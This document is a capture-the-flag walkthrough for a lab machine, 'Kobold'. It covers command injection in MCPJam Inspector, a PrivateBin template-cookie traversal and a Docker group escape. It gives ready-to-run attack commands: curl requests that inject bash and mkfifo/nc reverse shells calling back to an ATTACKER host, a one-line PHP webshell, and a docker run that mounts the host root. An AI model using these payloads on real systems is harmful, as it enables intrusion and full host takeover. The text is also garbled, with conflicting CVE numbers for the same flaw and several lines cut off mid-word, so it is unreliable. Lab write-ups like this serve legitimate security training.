Kobold writeup & walkthrough
MCPJam Inspector command injection (CVE-2026-23744) for initial access; Docker group escape via privileged container with host filesystem mount.
Enumeration
The web server on 443 gives nothing useful, so straight to subdomain fuzzing.
I used ffuf here rather than wfuzz. Wfuzz just errors out on this target, and I did not feel like debugging a fuzzer when another one works:
ffuf -u https://$IP -k -H "Host: FUZZ.kobold.htb" \
-w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt \
-mc all -fs 154 -t 300
Two hits: mcp.kobold.htb and bin.kobold.htb. Both go in /etc/hosts.
bin.kobold.htb is a PrivateBin instance. Keep it in mind, it comes back later.
Foothold: CVE-2025-64714, MCPJam Inspector command injection
mcp.kobold.htb is MCPJam Inspector v1.13.0, and that version has a known one.
/api/mcp/connect hands serverConfig.command straight to child_process.spawn(). No auth, no sanitisation (GHSA-g2j9-g8r5-rg82). You just tell it what to run.
Listener first:
nc -lvnp 4444
Then ask it nicely:
curl -k https://mcp.kobold.htb/api/mcp/connect \
-H "Content-Type: application/json" \
-d '{
"serverConfig":{
"command":"/bin/bash",
"args":["-c","bash -i >& /dev/tcp/ATTACKER/4444 0>&1"],
"env":{}
},
"serverId":"test"
}'
Shell as ben.
Privilege escalation
There are two ways up from here. The intended one goes back through PrivateBin. The other one is a misconfiguration that skips most of it.
Intended path: CVE-2025-62796 in PrivateBin
PrivateBin picks its template from a cookie and does not check points, so you can traverse out of the template directory and you can write.
Drop a one line webshell in /data, which the web user can wr
echo '<?php system($_REQUEST["cmd"]); ?>' > /data/strikoder.php
Then point the template cookie at it. Leave the .php off, PrivateBin appends that itself:
curl -k --cookie 'template=../data/strikoder' 'https://bin.kob
That is code execution. From here you can either read your way /srv/cfg/config.php through the webshell, or take a proper shell and look around. Either works. I took the shell:
curl -k --data-urlencode 'cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER 443 >/tmp/f' \
--cookie 'template=../data/strikoder' 'https://bin.kobold.htb/'
config.php has a password sitting in it, and it gets you int 3552 as arcane.
Arcane manages Docker, which means it will happily build you a container to whatever spec you ask for. Create one with the host root mount then open its shell from settings and list /mnt. Those are the host's root files.
Unintended path: the docker group
Running LinEnum-ng as ben flags something the intended path never needs: ben is in the docker up in gshadow, which is why id alone does not give it away.
The membership is dormant in this shell, so claim it:
newgrp docker
From there it is the standard escape. Any local image will do, and PrivateBin is already pulled:
docker images # privatebin/nginx-fpm-alpine:2.0.2
Mount the host root inside a container running as uid 0:
docker run -it --rm --user 0 --entrypoint /bin/sh \
-v /:/mnt privatebin/nginx-fpm-alpine:2.0.2
chroot /mnt /bin/sh